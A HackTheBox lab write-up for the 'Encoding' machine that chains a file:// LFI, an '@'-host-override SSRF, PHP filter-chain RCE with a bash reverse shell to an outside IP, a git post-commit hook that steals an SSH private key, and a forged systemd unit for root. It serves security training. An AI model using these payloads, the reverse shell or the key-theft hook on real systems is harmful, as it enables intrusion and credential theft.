HTB: Encoding Writeup

Encoding - HackTheBox Writeup

Machine Information

AttributeDetails
NameEncoding
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.43.233
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Encoding hosts a multi-vhost PHP application (“HaxTables”) that exposes string/integer/image encoding conversions through an internal API. The API’s file-fetch feature accepts a file:// URI without any scheme restriction, giving arbitrary local file read. Reading the Apache vhost config reveals a third, localhost-only vhost whose front controller does a raw include($_GET['page']). A missing trailing slash in the public API’s URL-building code lets an attacker smuggle a @host override into the request path, pivoting the SSRF-restricted internal API call onto that localhost-only vhost — turning the LFI into a PHP filter-chain RCE and a shell as www-data. From there, a NOPASSWD sudo rule for a Git helper script, combined with a writable .git directory (ACL), allows a malicious post-commit hook to leak the svc user’s SSH key. Once on svc, a second NOPASSWD sudo rule for systemctl restart * plus a writable /etc/systemd/system lets a forged service unit run as root.

TL;DR: LFI via API file:// handler → read Apache vhost config → discover localhost-only image.haxtables.htb → abuse missing trailing slash + @ host-override to SSRF into it → PHP filter-chain RCE via raw include() in action_handler.php → shell as www-data → abuse sudo Git helper + writable .git ACL + post-commit hook → steal svc SSH key → user.txt → abuse sudo systemctl restart * + writable /etc/systemd/system → forged service unit → root.txt.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan, high min-rate since only two ports were expected to be open
nmap -p- --min-rate=2000 -T4 10.129.43.233

Results:

Host: 10.129.43.233
Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
Ignored State: closed (65533)

Only SSH and HTTP are exposed — the entire attack surface is the web application.

Service Enumeration

The root page on port 80 fingerprints as a Bootstrap-based site called HaxTables, offering String / Integer / Image “convertions” and a documented API:

<title>HaxTables</title>
...
<li><a href="/index.php?page=string">String</a></li>
<li><a href="/index.php?page=integer">Integer</a></li>
<li><a href="/index.php?page=image">Images</a></li>
...
<li><a href="/index.php?page=api">API</a></li>

The API page references api.haxtables.htb. Following naming convention, image.haxtables.htb was added as a candidate vhost as well:

Terminal window
echo '10.129.43.233 haxtables.htb api.haxtables.htb image.haxtables.htb' | sudo tee -a /etc/hosts

Vulnerability Assessment

  1. Arbitrary file read (LFI) — the string-conversion API accepts a file_url parameter and will fetch file:// URIs with no scheme allow-list.
  2. URL-building SSRF — the public front-end’s make_api_call() builds the internal API URL as 'http://api.haxtables.htb' . $uri_path . '/index.php' with no separating slash, letting @ in uri_path override the request’s actual host.
  3. Unauthenticated raw file inclusionimage.haxtables.htb/actions/action_handler.php does include($_GET['page']) directly, but the vhost itself is restricted to Allow from 127.0.0.1.
  4. Sudo misconfiguration (www-data → svc)www-data can run /var/www/image/scripts/git-commit.sh as svc with NOPASSWD, and holds write ACLs on the repo’s .git directory.
  5. Sudo misconfiguration (svc → root)svc can run systemctl restart * as root with NOPASSWD, and /etc/systemd/system carries a writable ACL for svc.

Initial Foothold

LFI via the string-conversion API

The str2hex action returns its output hex-encoded, and happily accepts a file:// URL in place of a real remote target:

Terminal window
curl -s -H 'Content-Type: application/json' -X POST \
http://api.haxtables.htb/v3/tools/string/index.php \
-d '{"action":"str2hex","file_url":"file:///etc/passwd"}' \
| jq -r .data | xxd -r -p
root:x:0:0:root:/root:/bin/bash
...
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false

This confirms arbitrary local file read: the endpoint has no protocol allow-list on file_url, so requesting file:///etc/passwd just reads the file straight off disk instead of fetching a remote URL.

Building a reliable LFI oracle

Automating this hit a wall — /tmp on the jump host was completely full (436M size, 417M used, 0 available), which broke a Python requests-based helper mid-import (a corrupted .pyc in /dev/shm produced bad marshal data). Rather than fight the disk quota, the oracle was reimplemented as a plain curl/jq/xxd one-liner and dropped in /dev/shm (tmpfs, not disk-backed):

#!/bin/bash
# rd.sh <path> -> reads an arbitrary file via the LFI
curl -s -m 20 -H 'Content-Type: application/json' -X POST \
http://api.haxtables.htb/v3/tools/string/index.php \
-d "{\"action\":\"str2hex\",\"file_url\":\"file://$1\"}" \
| jq -r .data | xxd -r -p

Reading source code through the LFI

Pulling the Apache vhost config exposed the internal topology:

Terminal window
bash rd.sh /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
ServerName image.haxtables.htb
DocumentRoot /var/www/image
<Directory /var/www/image>
Deny from all
Allow from 127.0.0.1
...
</Directory>
</VirtualHost>

image.haxtables.htb is a third vhost, restricted to localhost. Reading the app’s own PHP sources through the same LFI revealed the request-routing chain:

Terminal window
bash rd.sh /var/www/html/handler.php
bash rd.sh /var/www/api/utils.php
bash rd.sh /var/www/image/index.php
bash rd.sh /var/www/image/utils.php
bash rd.sh /var/www/image/actions/action_handler.php

The key function, in /var/www/api/utils.php:

function make_api_call($action, $data, $uri_path, $is_file = false){
...
$ch = curl_init();
$url = 'http://api.haxtables.htb' . $uri_path . '/index.php';
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
...
}

There is no slash between the hardcoded host and $uri_path. That means a uri_path of @image.haxtables.htb/actions/action_handler.php?page=...&p= builds the URL:

http://api.haxtables.htb@image.haxtables.htb/actions/action_handler.php?page=...&p=/index.php

In URL syntax, user@host treats everything before @ as userinfo — so curl actually connects to image.haxtables.htb, not api.haxtables.htb. This bypasses the Allow from 127.0.0.1 restriction entirely, because the request itself still originates from localhost (the app server calling its own internal API), just redirected to a different vhost on the same box.

And in /var/www/image/actions/action_handler.php:

<?php
include_once 'utils.php';
if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);
} else {
echo jsonify(['message' => 'No page specified!']);
}
?>

A raw, unfiltered include($_GET['page']) — normally unreachable from outside since the vhost is localhost-only, but now reachable through the @-host-override SSRF above.

PHP filter chain → RCE

include() on user input plus PHP’s stream filter stack is enough for RCE without ever writing a file to disk, using the technique documented by Synacktiv’s php_filter_chain_generator (chained convert.iconv/convert.base64 filters mutate an arbitrary seed string into valid PHP bytecode that PHP then executes when include() reads the php://filter/... stream):

Terminal window
git clone https://github.com/synacktiv/php_filter_chain_generator.git
python3 php_filter_chain_generator/php_filter_chain_generator.py \
--chain '<?php system("bash -c \"bash -i >& /dev/tcp/10.10.15.180/4444 0>&1\""); ?>' \
| grep '^php://filter' > chain.txt

The generated php://filter/... chain was then fired at handler.php, using the @-override to route through action_handler.php’s include($_GET['page']):

import urllib.request, json
chain = open('chain.txt').read().strip()
uri = '@image.haxtables.htb/actions/action_handler.php?page=' + chain + '&p='
body = json.dumps({'action':'str2hex','data':'test','uri_path':uri}).encode()
req = urllib.request.Request('http://haxtables.htb/handler.php', data=body,
headers={'Content-Type':'application/json'})
urllib.request.urlopen(req, timeout=25)

With nc -lvnp 4444 listening:

listening on [any] 4444 ...
connect to [10.10.15.180] from (UNKNOWN) [10.129.43.233] 34700
bash: cannot set terminal process group (792): Inappropriate ioctl for device
bash: no job control in this shell
www-data@encoding:~/image/actions$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Foothold as www-data confirmed. (The dropped shell had no PTY/job control — a simple cmds-file + tail -f | nc relay was used afterward to push commands reliably.)


Privilege Escalation

www-data → svc (user.txt)

Terminal window
sudo -l
User www-data may run the following commands on encoding:
(svc) NOPASSWD: /var/www/image/scripts/git-commit.sh

www-data can run a Git helper script as svc with no password. Checking the repo’s ACLs:

Terminal window
getfacl /var/www/image/.git
user::rwx
user:www-data:rwx
group::r-x
mask::rwx
other::r-x

www-data has full rwx on .git (though not on the working tree /var/www/image itself). That’s enough to plant a hook:

Terminal window
printf '#!/bin/bash\ncat /home/svc/.ssh/id_rsa > /dev/shm/svc_key 2>/dev/null; chmod 666 /dev/shm/svc_key 2>/dev/null\n' \
> /var/www/image/.git/hooks/post-commit
chmod +x /var/www/image/.git/hooks/post-commit

The git-commit script (visible earlier via image/utils.php’s git_commit() wrapper) runs git commit --no-verify — that skips pre-commit but a post-commit hook still fires. Since www-data can’t write inside the actual working tree, a foreign work-tree is used to stage a throwaway file into the same .git:

Terminal window
mkdir -p /dev/shm/wt && echo pwn > /dev/shm/wt/pwnfile
git --git-dir=/var/www/image/.git --work-tree=/dev/shm/wt add /dev/shm/wt/pwnfile

Then the sudo rule triggers the commit (and the hook) as svc:

Terminal window
sudo -u svc /var/www/image/scripts/git-commit.sh
[master 4b54afb] Commited from API!
1 file changed, 1 insertion(+)
create mode 100644 pwnfile
RC=0
-rw-rw-rw- 1 svc svc 2602 Jul 21 08:41 /dev/shm/svc_key
-----BEGIN OPENSSH PRIVATE KEY-----

The hook ran as svc, dumping the private key to a world-writable file. SSH in directly:

Terminal window
chmod 600 id_rsa_svc
ssh -i id_rsa_svc svc@10.129.43.233 'id; cat /home/svc/user.txt; sudo -l'
uid=1000(svc) gid=1000(svc) groups=1000(svc)
===USER
<redacted>
===SUDO
User svc may run the following commands on encoding:
(root) NOPASSWD: /usr/bin/systemctl restart *

user.txt: <redacted>

svc → root (root.txt)

svc can restart any systemd unit as root with no password. Checking write access to the unit directory:

Terminal window
ls -ld /etc/systemd/system
drwxrwxr-x+ 22 root root 4096 Jul 21 08:42 /etc/systemd/system

The + denotes an ACL entry granting svc group write access. A brand-new unit file can be dropped and then started via the sudo rule — systemctl doesn’t care whether the unit is pre-existing, only that it’s a valid unit file it’s told to (re)start:

cat > /dev/shm/x.sh <<'EOS'
#!/bin/bash
cat /root/root.txt > /dev/shm/rootflag 2>/dev/null
id >> /dev/shm/rootflag
chmod 666 /dev/shm/rootflag
EOS
chmod +x /dev/shm/x.sh
printf '[Unit]\nDescription=pwn\n[Service]\nType=oneshot\nExecStart=/dev/shm/x.sh\n[Install]\nWantedBy=multi-user.target\n' \
> /etc/systemd/system/pwn.service
sudo /usr/bin/systemctl restart pwn.service
cat /dev/shm/rootflag
-rw-rw-r-- 1 svc svc 107 Jul 21 08:42 /etc/systemd/system/pwn.service
<redacted>
uid=0(root) gid=0(root) groups=0(root)

root.txt: <redacted>


Attack Chain Summary

Nmap (22, 80) → HaxTables app, vhosts haxtables.htb/api/image
→ LFI via API file:// (str2hex) → read /etc/apache2 vhost config
→ discover localhost-only image.haxtables.htb
→ LFI-read handler.php / api-utils.php / image-utils.php / action_handler.php
→ abuse missing-slash + '@' host-override SSRF to reach action_handler.php
→ raw include($_GET['page']) + PHP filter chain (php_filter_chain_generator) → RCE
→ reverse shell as www-data
→ sudo (svc) NOPASSWD git-commit.sh + writable .git ACL
→ malicious post-commit hook + foreign work-tree git add → leak svc SSH key
→ ssh as svc → user.txt
→ sudo (root) NOPASSWD systemctl restart * + writable /etc/systemd/system
→ forged pwn.service → root.txt

Tools Used

ToolPurpose
nmapPort scanning
curlHTTP requests to the string-conversion API, LFI oracle
jqParsing JSON API responses
xxdDecoding hex-encoded file contents
python3 / php_filter_chain_generator.pyGenerating the PHP filter-chain RCE payload
gitReading repo state; abusing .git ACL + hooks for privesc
ncReverse shell listener
ssh / scpAccess as svc; transferring helper scripts
systemctlRoot privesc via forged service unit

Key Learnings

Techniques Practiced

  • Exploiting an unrestricted file:// scheme in a file-fetch API for local file read
  • Pivoting an SSRF-style request through a missing-trailing-slash URL concatenation bug using the user@host URL parsing quirk
  • Turning a raw include($_GET[...]) into RCE with PHP filter chains (no file write needed)
  • Abusing a Git post-commit hook plus .git-only write ACLs (without working-tree access) to execute code as another user via a NOPASSWD sudo wrapper
  • Escalating to root through an ACL-writable systemd unit directory and a sudo systemctl restart * rule

Lessons Learned

  1. A missing trailing slash when concatenating a hardcoded host with user-controlled path segments is enough to enable host-header-style SSRF via the @ URL syntax — always normalize URLs with a proper builder, never string concatenation.
  2. file:// should never be implicitly trusted by a “fetch remote content” feature; scheme allow-listing (http/https only) must be enforced, not just a 127.0.0.1 hostname check.
  3. git commit --no-verify only disables pre-commit; a post-commit hook still executes with the committer’s privileges, and merely having write access to .git/hooks (even without working-tree write access, via a foreign --work-tree) is sufficient to abuse it.
  4. sudo rules scoped to systemctl restart * are equivalent to full root code execution whenever the unit directory is writable by the delegated user — wildcard subcommands on systemctl should be treated as unrestricted root access.
  5. When local disk quota is exhausted, tmpfs (/dev/shm) is a reliable fallback for staging payloads and helper scripts without touching the constrained filesystem.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Pwnmeow, “Encoding” — HackTheBox Official Writeup (D23.100.223), HackTheBox Ltd. — used for explanatory context on the PHP filter-chain RCE technique, the Git .git-ACL/hook privilege-escalation mechanism, and the sudo systemctl restart root path. All IPs, commands, outputs, and credentials in this writeup are from the author’s own live solve, not the official document.